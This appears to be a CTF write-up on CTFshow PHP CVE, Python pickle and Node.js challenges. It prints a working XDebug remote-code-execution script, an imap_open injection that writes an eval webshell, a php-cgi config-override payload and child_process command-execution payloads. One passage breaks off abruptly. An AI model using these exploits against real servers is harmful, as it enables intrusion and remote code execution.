CTFshowphpCVE

311

PHP版本7.1.33dev

CVE-2019-11043

利用脚本

312

PHP版本5.6.38

CVE-2018-19518

漏洞成因

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数

imap_open( string $mailbox,string $user,string $password)

其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh,又因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞。

然后对自己想要发的内容进行一次base64编码

首先对<?php @eval($_POST[kkk]);?>进行一次base64编码

然后对echo "上个编码内容" | base64 -d >shell.php进行一次base64编码

注意:如果进行base64编码后,含有+ =,都要进行url编码即%2b %3d,所以为了保证不会出错,最好再对得到的base64编码后的字符串再进行url编码。相当于步骤为先base64编码,再url编码

然后将hostname的内容替换成x+-oProxyCommand%3decho%09编码后的内容|base64%09-d|sh}

hostname=x+-oProxyCommand%3decho%09ZWNobyAiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VVzJ0cmExMHBPejgrInxiYXNlNjQgLWQgPnNoZWxsLnBocA==|base64%09-d|sh}&username=1&password=1

313

PHP版本5.4.1

CVE-2012-1823

该漏洞具体成因可见P神博客

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。

通过阅读源码,我发现cgi模式下有如下一些参数可用:

  • -c 指定php.ini文件的位置
  • -n 不要加载php.ini文件
  • -d 指定配置项
  • -b 启动fastcgi进程
  • -s 显示文件源码
  • -T 执行指定次该文件
  • -h-? 显示帮助

简单来说,就可以通过参数传递通过以上的参数类型传入不同的内容在执行php时被传入

可通过-d直接修改php中的配置项来达到我们任意写入的效果

payload:?-d+allow_url_include%=on+=auto_append_file=php://input
POST:
<?php system('nl /somewhere/fla9.txt');?>

314

包含日志文件就过了////////////

315

PHP版本7.1.12,debug开启,端口9000

影响

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置remote_connect_back = 1:

xdebug.remote_connect_back = 1
xdebug.remote_enable = 1

这个配置下,我们访问http://target/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。

编写好的脚本,要在公网IP下使用

#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
    blocks = []
    data = b''
    while True:
        try:
            data = data + sock.recv(1024)
        except socket.error as e:
            break
        if not data:
            break

        while data:
            eop = data.find(b'\x00')
            if eop < 0:
                break
            blocks.append(data[:eop])
            data = data[eop+1:]

        if len(blocks) >= 4:
            break
    
    return blocks[3]


def trigger(url):
    time.sleep(2)
    try:
        session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
    except:
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
    parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
    parser.add_argument('-t', '--target', required=True, help='target url.')
    parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
    args = parser.parse_args()
    
    ip_port = ('0.0.0.0', args.listen)
    sk = socket.socket()
    sk.settimeout(10)
    sk.bind(ip_port)
    sk.listen(5)

    pool.submit(trigger, args.target)
    conn, addr = sk.accept()
    conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

    data = recv_xml(conn)
    print('[+] Recieve data: ' + data.decode())
    g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
    if not g:
        print('[-] No result...')
        sys.exit(0)

    data = g.group(1)

    try:
        print('[+] Result: ' + base64.b64decode(data).decode())
    except binascii.Error:
        print('[-] May be not string result...')

环境寄了,没得结果

Python pickle反序列化

什么是pickle

pickle是Python专用的一个进行序列化和反序列化的工具包,pickle能表示Python几乎所有的类型(包括自定义类型),由一系列opcode组成,模拟了类似堆栈的内存。

与PHP序列化或者JSON,这些以键值对形式存储序列化对象数据的不同,pickle 序列化(Python独有)是将一个 Python 对象及其所拥有的层次结构变成可以持久化储存的二进制数据,无法像JSON 一样直观阅读。在Python中,采用术语 封存 (pickling) 解封 (unpickling)来描述序列化。

可序列化的对象

节选自官方文档:pickle — Python 对象序列化

None, True, 和False;
整数、浮点数、复数;
字符串、字节、字节数组;
元组、列表、集合和仅包含可提取对象的字典;
在模块顶层定义的函数(内置的和用户定义的)(使用def,不是lambda);
在模块顶层定义的类;
某些类实例,这些类的 __dict__ 属性值或 __getstate__() 函数的返回值可以被封存(详情参阅 封存类实例 这一段)。

手搓opcode

首先很重要的就是字节码,其实pickle经过了多次迭代已经加了很多内容了,我们直接到源码里去看看

首先是一个pickle的存储结构

self._unframer = _Unframer(self._file_read, self._file_readline)
self.read = self._unframer.read
self.readinto = self._unframer.readinto
self.readline = self._unframer.readline
self.metastack = []
//元栈
self.stack = []
//栈,默认的操作都是对这个栈进行操作
self.append = self.stack.append
self.proto = 0

然后就是对各字节码的定义

# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.
# Pickle的opcodes,可在pickletools.py中查看大范围的文档,在此处列出的内容是按字母顺序排列的单字符pickle code
# 在pickleltools中将这些内容按功能分组了
# 等会再去pickletools里看
# 部分偷的自己师傅的(自己人不算偷)
MARK           = b'('   #向栈中压入一个Mark标记
STOP           = b'.'   #相当于停止当前的反序列化过程
POP            = b'0'   #从栈中pop出一个元素,就是删除栈顶元素
POP_MARK       = b'1'   #从栈中不断pop元素直到遇到Mark标记
DUP            = b'2'   #向栈中再压入一个当前的栈顶元素,就是复制一份当前栈顶元素然后进行压栈
FLOAT          = b'F'   #读取当前行到行末尾,然后转为float类型,向栈中压入一个float浮点数
INT            = b'I'   #向栈中压入一个int整数,整数就是当前行的最后一个字节,不过如果整数为01的时候压入的是True,为00的时候压入的是False
BININT         = b'J'   #从后面的输入中读取4个字节并且使用unpack通过'<i'的格式将4字节的buffer数据解包转为int类型,后面不能换行,直接家下一步的操作b"(S'a'\nK\x01\x01\x01\x01."
BININT1        = b'K'   #和上面BININT一样,不过K操作只读取一个字节的数据b"(S'a'\nK\x01."
LONG           = b'L'   #读取当前行到行末尾,然后转为int类型,但如果后面是字符L的话会先去掉最后一个字符L再转int
BININT2        = b'M'   #从后面的输入中读取2个字节并且使用unpack通过'<H'的格式将2字节的buffer作为一个2进制数解包为int,后面不能换行,直接加下一步的操作b"(S'a'\nM\x01\x01."
NONE           = b'N'   #向栈中压入一个None元素,后面不能换行,直接加下一步的操作b"(S'a'\nN."
PERSID         = b'P'   #读取当前行到行末尾,将读取到的数据作为id,通过persistent_load函数获得obj对象返回后将obj对象压栈,默认情况没用,要重写persistent_load函数才能生效
BINPERSID      = b'Q'   #和上面作用一样,从当前栈中弹出一个元素作为id,通过persistent_load...
REDUCE         = b'R'   #从当前栈中弹出两次元素,第一次是函数参数args,第二次是函数func,执行func(args)
STRING         = b'S'   #向栈中压入一个string字符串,内容就是后面的数据,后面的字符串第一个和最后一个必须是单引号b"(S'a'\nS''a''\n."
BINSTRING      = b'T'   #从后面数据读取4字节数据,通过unpack使用<i格式将数据解压后变为int类型, 然后将其作为一个长度, 后面读取这个指定长度的数据作为字符串进行压栈b"(S'a'\nT\x10\x00\x00\x000123456789abcdef."
# _struct.unpack('<i', b"\x10\x00\x00\x00") => (16,)
SHORT_BINSTRING= b'U'   #先读取一个字节数据作为长度,然后按照这个长度读取字符串,读出的字符串压栈
UNICODE        = b'V'   #读出当前行后面的全部数据,然后进行Unicode解码,将解码内容压栈b'V\\u0061\n.'
BINUNICODE     = b'X'   #读出4字节数据通过unpack使用<I格式解压,将解压得到的数据作为长度,然后进行数据读取b'X\x10\x00\x00\x00abcdef0123456789.'
APPEND         = b'a'   #先pop出栈一个变量var1,然后获取当前栈顶元素var2,执行栈顶元素的append函数,就是将一开始的栈顶元素弹出,然后又加到下一个栈顶数组中b"]S'h0cksr'\na." => 得到['h0cksr']
BUILD          = b'b'   #这个操作就是设置元素属性的操作
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

上面的内容就是pickle中定义的所有字节码了,我们先略过这部分不谈,我们先来看后面的反序列化中对于不同字节码的实现来更好的理解每个字节码的注释内容

class _Unpickler:

    def __init__(self, file, *, fix_imports=True,
                 encoding="ASCII", errors="strict", buffers=None):
        self._buffers = iter(buffers) if buffers is not None else None
        self._file_readline = file.readline
        self._file_read = file.read
        self.memo = {}
        self.encoding = encoding
        self.errors = errors
        self.proto = 0
        self.fix_imports = fix_imports

    def load(self):
        """Read a pickled object representation from the open file.

        Return the reconstituted object hierarchy specified in the file.
        """
        # Check whether Unpickler was initialized correctly. This is
        # only needed to mimic the behavior of _pickle.Unpickler.dump().
        if not hasattr(self, "_file_read"):
            raise UnpicklingError("Unpickler.__init__() was not called by "
                                  "%s.__init__()" % (self.__class__.__name__,))
        self._unframer = _Unframer(self._file_read, self._file_readline)
        self.read = self._unframer.read
        self.readinto = self._unframer.readinto
        self.readline = self._unframer.readline
        self.metastack = []
        self.stack = []
        self.append = self.stack.append
        self.proto = 0
        read = self.read
        dispatch = self.dispatch
        try:
            while True:
                key = read(1)
                if not key:
                    raise EOFError
                assert isinstance(key, bytes_types)
                dispatch[key[0]](self)
        except _Stop as stopinst:
            return stopinst.value

    # Return a list of items pushed in the stack after last MARK instruction.
    def pop_mark(self):
        items = self.stack
        self.stack = self.metastack.pop()
        self.append = self.stack.append
        return items

    def persistent_load(self, pid):
        raise UnpicklingError("unsupported persistent id encountered")

    dispatch = {}

    def load_proto(self):
        proto = self.read(1)[0]
        if not 0 <= proto <= HIGHEST_PROTOCOL:
            raise ValueError("unsupported pickle protocol: %d" % proto)
        self.proto = proto
    dispatch[PROTO[0]] = load_proto

    def load_frame(self):
        frame_size, = unpack('<Q', self.read(8))
        if frame_size > sys.maxsize:
            raise ValueError("frame size > sys.maxsize: %d" % frame_size)
        self._unframer.load_frame(frame_size)
    dispatch[FRAME[0]] = load_frame

    def load_persid(self):
        try:
            pid = self.readline()[:-1].decode("ascii")
        except UnicodeDecodeError:
            raise UnpicklingError(
                "persistent IDs in protocol 0 must be ASCII strings")
        self.append(self.persistent_load(pid))
    dispatch[PERSID[0]] = load_persid

    def load_binpersid(self):
        pid = self.stack.pop()
        self.append(self.persistent_load(pid))
    dispatch[BINPERSID[0]] = load_binpersid

    def load_none(self):
        self.append(None)
    dispatch[NONE[0]] = load_none

    def load_false(self):
        self.append(False)
    dispatch[NEWFALSE[0]] = load_false

    def load_true(self):
        self.append(True)
    dispatch[NEWTRUE[0]] = load_true

    def load_int(self):
        data = self.readline()
        if data == FALSE[1:]:
            val = False
        elif data == TRUE[1:]:
            val = True
        else:
            val = int(data, 0)
        self.append(val)
    dispatch[INT[0]] = load_int

    def load_binint(self):
        self.append(unpack('<i', self.read(4))[0])
    dispatch[BININT[0]] = load_binint

    def load_binint1(self):
        self.append(self.read(1)[0])
    dispatch[BININT1[0]] = load_binint1

    def load_binint2(self):
        self.append(unpack('<H', self.read(2))[0])
    dispatch[BININT2[0]] = load_binint2

    def load_long(self):
        val = self.readline()[:-1]
        if val and val[-1] == b'L'[0]:
            val = val[:-1]
        self.append(int(val, 0))
    dispatch[LONG[0]] = load_long

    def load_long1(self):
        n = self.read(1)[0]
        data = self.read(n)
        self.append(decode_long(data))
    dispatch[LONG1[0]] = load_long1

    def load_long4(self):
        n, = unpack('<i', self.read(4))
        if n < 0:
            # Corrupt or hostile pickle -- we never write one like this
            raise UnpicklingError("LONG pickle has negative byte count")
        data = self.read(n)
        self.append(decode_long(data))
    dispatch[LONG4[0]] = load_long4

    def load_float(self):
        self.append(float(self.readline()[:-1]))
    dispatch[FLOAT[0]] = load_float

    def load_binfloat(self):
        self.append(unpack('>d', self.read(8))[0])
    dispatch[BINFLOAT[0]] = load_binfloat

    def _decode_string(self, value):
        # Used to allow strings from Python 2 to be decoded either as
        # bytes or Unicode strings.  This should be used only with the
        # STRING, BINSTRING and SHORT_BINSTRING opcodes.
        if self.encoding == "bytes":
            return value
        else:
            return value.decode(self.encoding, self.errors)

    def load_string(self):
        data = self.readline()[:-1]
        # Strip outermost quotes
        if len(data) >= 2 and data[0] == data[-1] and data[0] in b'"\'':
            data = data[1:-1]
        else:
            raise UnpicklingError("the STRING opcode argument must be quoted")
        self.append(self._decode_string(codecs.escape_decode(data)[0]))
    dispatch[STRING[0]] = load_string

    def load_binstring(self):
        # Deprecated BINSTRING uses signed 32-bit length
        len, = unpack('<i', self.read(4))
        if len < 0:
            raise UnpicklingError("BINSTRING pickle has negative byte count")
        data = self.read(len)
        self.append(self._decode_string(data))
    dispatch[BINSTRING[0]] = load_binstring

    def load_binbytes(self):
        len, = unpack('<I', self.read(4))
        if len > maxsize:
            raise UnpicklingError("BINBYTES exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(self.read(len))
    dispatch[BINBYTES[0]] = load_binbytes

    def load_unicode(self):
        self.append(str(self.readline()[:-1], 'raw-unicode-escape'))
    dispatch[UNICODE[0]] = load_unicode

    def load_binunicode(self):
        len, = unpack('<I', self.read(4))
        if len > maxsize:
            raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
    dispatch[BINUNICODE[0]] = load_binunicode

    def load_binunicode8(self):
        len, = unpack('<Q', self.read(8))
        if len > maxsize:
            raise UnpicklingError("BINUNICODE8 exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
    dispatch[BINUNICODE8[0]] = load_binunicode8

    def load_binbytes8(self):
        len, = unpack('<Q', self.read(8))
        if len > maxsize:
            raise UnpicklingError("BINBYTES8 exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        self.append(self.read(len))
    dispatch[BINBYTES8[0]] = load_binbytes8

    def load_bytearray8(self):
        len, = unpack('<Q', self.read(8))
        if len > maxsize:
            raise UnpicklingError("BYTEARRAY8 exceeds system's maximum size "
                                  "of %d bytes" % maxsize)
        b = bytearray(len)
        self.readinto(b)
        self.append(b)
    dispatch[BYTEARRAY8[0]] = load_bytearray8

    def load_next_buffer(self):
        if self._buffers is None:
            raise UnpicklingError("pickle stream refers to out-of-band data "
                                  "but no *buffers* argument was given")
        try:
            buf = next(self._buffers)
        except StopIteration:
            raise UnpicklingError("not enough out-of-band buffers")
        self.append(buf)
    dispatch[NEXT_BUFFER[0]] = load_next_buffer

    def load_readonly_buffer(self):
        buf = self.stack[-1]
        with memoryview(buf) as m:
            if not m.readonly:
                self.stack[-1] = m.toreadonly()
    dispatch[READONLY_BUFFER[0]] = load_readonly_buffer

    def load_short_binstring(self):
        len = self.read(1)[0]
        data = self.read(len)
        self.append(self._decode_string(data))
    dispatch[SHORT_BINSTRING[0]] = load_short_binstring

    def load_short_binbytes(self):
        len = self.read(1)[0]
        self.append(self.read(len))
    dispatch[SHORT_BINBYTES[0]] = load_short_binbytes

    def load_short_binunicode(self):
        len = self.read(1)[0]
        self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
    dispatch[SHORT_BINUNICODE[0]] = load_short_binunicode

    def load_tuple(self):
        items = self.pop_mark()
        self.append(tuple(items))
    dispatch[TUPLE[0]] = load_tuple

    def load_empty_tuple(self):
        self.append(())
    dispatch[EMPTY_TUPLE[0]] = load_empty_tuple

    def load_tuple1(self):
        self.stack[-1] = (self.stack[-1],)
    dispatch[TUPLE1[0]] = load_tuple1

    def load_tuple2(self):
        self.stack[-2:] = [(self.stack[-2], self.stack[-1])]
    dispatch[TUPLE2[0]] = load_tuple2

    def load_tuple3(self):
        self.stack[-3:] = [(self.stack[-3], self.stack[-2], self.stack[-1])]
    dispatch[TUPLE3[0]] = load_tuple3

    def load_empty_list(self):
        self.append([])
    dispatch[EMPTY_LIST[0]] = load_empty_list

    def load_empty_dictionary(self):
        self.append({})
    dispatch[EMPTY_DICT[0]] = load_empty_dictionary

    def load_empty_set(self):
        self.append(set())
    dispatch[EMPTY_SET[0]] = load_empty_set

    def load_frozenset(self):
        items = self.pop_mark()
        self.append(frozenset(items))
    dispatch[FROZENSET[0]] = load_frozenset

    def load_list(self):
        items = self.pop_mark()
        self.append(items)
    dispatch[LIST[0]] = load_list

    def load_dict(self):
        items = self.pop_mark()
        d = {items[i]: items[i+1]
             for i in range(0, len(items), 2)}
        self.append(d)
    dispatch[DICT[0]] = load_dict

    # INST and OBJ differ only in how they get a class object.  It's not
    # only sensible to do the rest in a common routine, the two routines
    # previously diverged and grew different bugs.
    # klass is the class to instantiate, and k points to the topmost mark
    # object, following which are the arguments for klass.__init__.
    def _instantiate(self, klass, args):
        if (args or not isinstance(klass, type) or
            hasattr(klass, "__getinitargs__")):
            try:
                value = klass(*args)
            except TypeError as err:
                raise TypeError("in constructor for %s: %s" %
                                (klass.__name__, str(err)), sys.exc_info()[2])
        else:
            value = klass.__new__(klass)
        self.append(value)

    def load_inst(self):
        module = self.readline()[:-1].decode("ascii")
        name = self.readline()[:-1].decode("ascii")
        klass = self.find_class(module, name)
        self._instantiate(klass, self.pop_mark())
    dispatch[INST[0]] = load_inst

    def load_obj(self):
        # Stack is ... markobject classobject arg1 arg2 ...
        args = self.pop_mark()
        cls = args.pop(0)
        self._instantiate(cls, args)
    dispatch[OBJ[0]] = load_obj

    def load_newobj(self):
        args = self.stack.pop()
        cls = self.stack.pop()
        obj = cls.__new__(cls, *args)
        self.append(obj)
    dispatch[NEWOBJ[0]] = load_newobj

    def load_newobj_ex(self):
        kwargs = self.stack.pop()
        args = self.stack.pop()
        cls = self.stack.pop()
        obj = cls.__new__(cls, *args, **kwargs)
        self.append(obj)
    dispatch[NEWOBJ_EX[0]] = load_newobj_ex

    def load_global(self):
        module = self.readline()[:-1].decode("utf-8")
        name = self.readline()[:-1].decode("utf-8")
        klass = self.find_class(module, name)
        self.append(klass)
    dispatch[GLOBAL[0]] = load_global

    def load_stack_global(self):
        name = self.stack.pop()
        module = self.stack.pop()
        if type(name) is not str or type(module) is not str:
            raise UnpicklingError("STACK_GLOBAL requires str")
        self.append(self.find_class(module, name))
    dispatch[STACK_GLOBAL[0]] = load_stack_global

    def load_ext1(self):
        code = self.read(1)[0]
        self.get_extension(code)
    dispatch[EXT1[0]] = load_ext1

    def load_ext2(self):
        code, = unpack('<H', self.read(2))
        self.get_extension(code)
    dispatch[EXT2[0]] = load_ext2

    def load_ext4(self):
        code, = unpack('<i', self.read(4))
        self.get_extension(code)
    dispatch[EXT4[0]] = load_ext4

    def get_extension(self, code):
        nil = []
        obj = _extension_cache.get(code, nil)
        if obj is not nil:
            self.append(obj)
            return
        key = _inverted_registry.get(code)
        if not key:
            if code <= 0: # note that 0 is forbidden
                # Corrupt or hostile pickle.
                raise UnpicklingError("EXT specifies code <= 0")
            raise ValueError("unregistered extension code %d" % code)
        obj = self.find_class(*key)
        _extension_cache[code] = obj
        self.append(obj)

    def find_class(self, module, name):
        # Subclasses may override this.
        sys.audit('pickle.find_class', module, name)
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

    def load_reduce(self):
        stack = self.stack
        args = stack.pop()
        func = stack[-1]
        stack[-1] = func(*args)
    dispatch[REDUCE[0]] = load_reduce

    def load_pop(self):
        if self.stack:
            del self.stack[-1]
        else:
            self.pop_mark()
    dispatch[POP[0]] = load_pop

    def load_pop_mark(self):
        self.pop_mark()
    dispatch[POP_MARK[0]] = load_pop_mark

    def load_dup(self):
        self.append(self.stack[-1])
    dispatch[DUP[0]] = load_dup

    def load_get(self):
        i = int(self.readline()[:-1])
        try:
            self.append(self.memo[i])
        except KeyError:
            msg = f'Memo value not found at index {i}'
            raise UnpicklingError(msg) from None
    dispatch[GET[0]] = load_get

    def load_binget(self):
        i = self.read(1)[0]
        try:
            self.append(self.memo[i])
        except KeyError as exc:
            msg = f'Memo value not found at index {i}'
            raise UnpicklingError(msg) from None
    dispatch[BINGET[0]] = load_binget

    def load_long_binget(self):
        i, = unpack('<I', self.read(4))
        try:
            self.append(self.memo[i])
        except KeyError as exc:
            msg = f'Memo value not found at index {i}'
            raise UnpicklingError(msg) from None
    dispatch[LONG_BINGET[0]] = load_long_binget

    def load_put(self):
        i = int(self.readline()[:-1])
        if i < 0:
            raise ValueError("negative PUT argument")
        self.memo[i] = self.stack[-1]
    dispatch[PUT[0]] = load_put

    def load_binput(self):
        i = self.read(1)[0]
        if i < 0:
            raise ValueError("negative BINPUT argument")
        self.memo[i] = self.stack[-1]
    dispatch[BINPUT[0]] = load_binput

    def load_long_binput(self):
        i, = unpack('<I', self.read(4))
        if i > maxsize:
            raise ValueError("negative LONG_BINPUT argument")
        self.memo[i] = self.stack[-1]
    dispatch[LONG_BINPUT[0]] = load_long_binput

    def load_memoize(self):
        memo = self.memo
        memo[len(memo)] = self.stack[-1]
    dispatch[MEMOIZE[0]] = load_memoize

    def load_append(self):
        stack = self.stack
        value = stack.pop()
        list = stack[-1]
        list.append(value)
    dispatch[APPEND[0]] = load_append

    def load_appends(self):
        items = self.pop_mark()
        list_obj = self.stack[-1]
        try:
            extend = list_obj.extend
        except AttributeError:
            pass
        else:
            extend(items)
            return
        # Even if the PEP 307 requires extend() and append() methods,
        # fall back on append() if the object has no extend() method
        # for backward compatibility.
        append = list_obj.append
        for item in items:
            append(item)
    dispatch[APPENDS[0]] = load_appends

    def load_setitem(self):
        stack = self.stack
        value = stack.pop()
        key = stack.pop()
        dict = stack[-1]
        dict[key] = value
    dispatch[SETITEM[0]] = load_setitem

    def load_setitems(self):
        items = self.pop_mark()
        dict = self.stack[-1]
        for i in range(0, len(items), 2):
            dict[items[i]] = items[i + 1]
    dispatch[SETITEMS[0]] = load_setitems

    def load_additems(self):
        items = self.pop_mark()
        set_obj = self.stack[-1]
        if isinstance(set_obj, set):
            set_obj.update(items)
        else:
            add = set_obj.add
            for item in items:
                add(item)
    dispatch[ADDITEMS[0]] = load_additems

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        inst = stack[-1]
        setstate = getattr(inst, "__setstate__", None)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

    def load_mark(self):
        self.metastack.append(self.stack)
        self.stack = []
        self.append = self.stack.append
    dispatch[MARK[0]] = load_mark

    def load_stop(self):
        value = self.stack.pop()
        raise _Stop(value)
    dispatch[STOP[0]] = load_stop

CTFshowNodejs

nodejs

首先要知道nodejs是啥,其实就是javascript的后端版本

一些有的没的的入门知识

nodejs一些入门特性&&实战

nodejs调用系统命令的方式

如果你要是使用nodejs,你需要调用引用child_process模块:

var exec = require('child_process').exec;
var cmd = 'prince -v builds/pdf/book.html -o builds/pdf/book.pdf';

exec(cmd, function(error, stdout, stderr) {
  // 获取命令执行的输出
});

这里使用的是child_process.exec来在nodejs程序里执行系统命令。如果你想在shell里执行命令并且要处理命令输出的I/O数据流,输出的体积比较大的话,我们需要使用child_process.spawn

var spawn = require('child_process').spawn;
var child = spawn('prince', [
  '-v', 'builds/pdf/book.html',
  '-o', 'builds/pdf/book.pdf'
]);

child.stdout.on('data', function(chunk) {
  // output will be here in chunks
});

// or if you want to send output elsewhere
child.stdout.pipe(dest);

如果你想在nodejs里执行的是一个文件,而不是一个简单的命令,那你就需要使用child_process.execFile,这个方法的参数几乎和spawn一样,只是多了第四个回调函数参数,和exec里的回调函数参数一样:

var execFile = require('child_process').execFile;
execFile(file, args, options, function(error, stdout, stderr) {
  // command output is in stdout
});

上面的这些方法在nodejs里都是异步执行的,到但有时候我们需要同步执行一些任务,下面的一些代码例子是使用同步的方法调用系统命令执行任务:

'use strict';

const
    spawn = require( 'child_process' ).spawnSync,
    ls = spawn( 'ls', [ '-lh', '/usr' ] );

console.log( `stderr: ${ls.stderr.toString()}` );
console.log( `stdout: ${ls.stdout.toString()}` );
const execSync = require('child_process').execSync;

var cmd = execSync('prince -v builds/pdf/book.html -o builds/pdf/book.pdf');

简单来说,调用系统命令传入的方法是

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

334

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

直接小写就行ctfshow+123456

335

看源代码发现eval参数,尝试传入ls回显未找到文件,传入1+1回显2,怀疑执行了nodejs中的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

构造一个系统命令执行的payload

require("child_process").execSync('ls')

拿到文件名直接cat就行

336

同上题不过增加了过滤

换一个方法

require('child_process').spawnSync('ls', []).stdout.toString()

337

源码在此

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

要求就是传入的ab长度相等,内容不想等,加上flag字符串变量后md5运算的结果相同

在javascript中加法的规则很简单,只能数字与数字相加或字符串和字符串相加;所有其他类型的值都会自动转换成这两个类型的值。而对象类型经过toString转换后结果为[object Object]字符串

所以最终传入两个数组即可

payload:?a[x]=1&b[x]=2

为啥数组的键值不能是数字

a={'x':'1'}
b={'x':'2'}

console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同

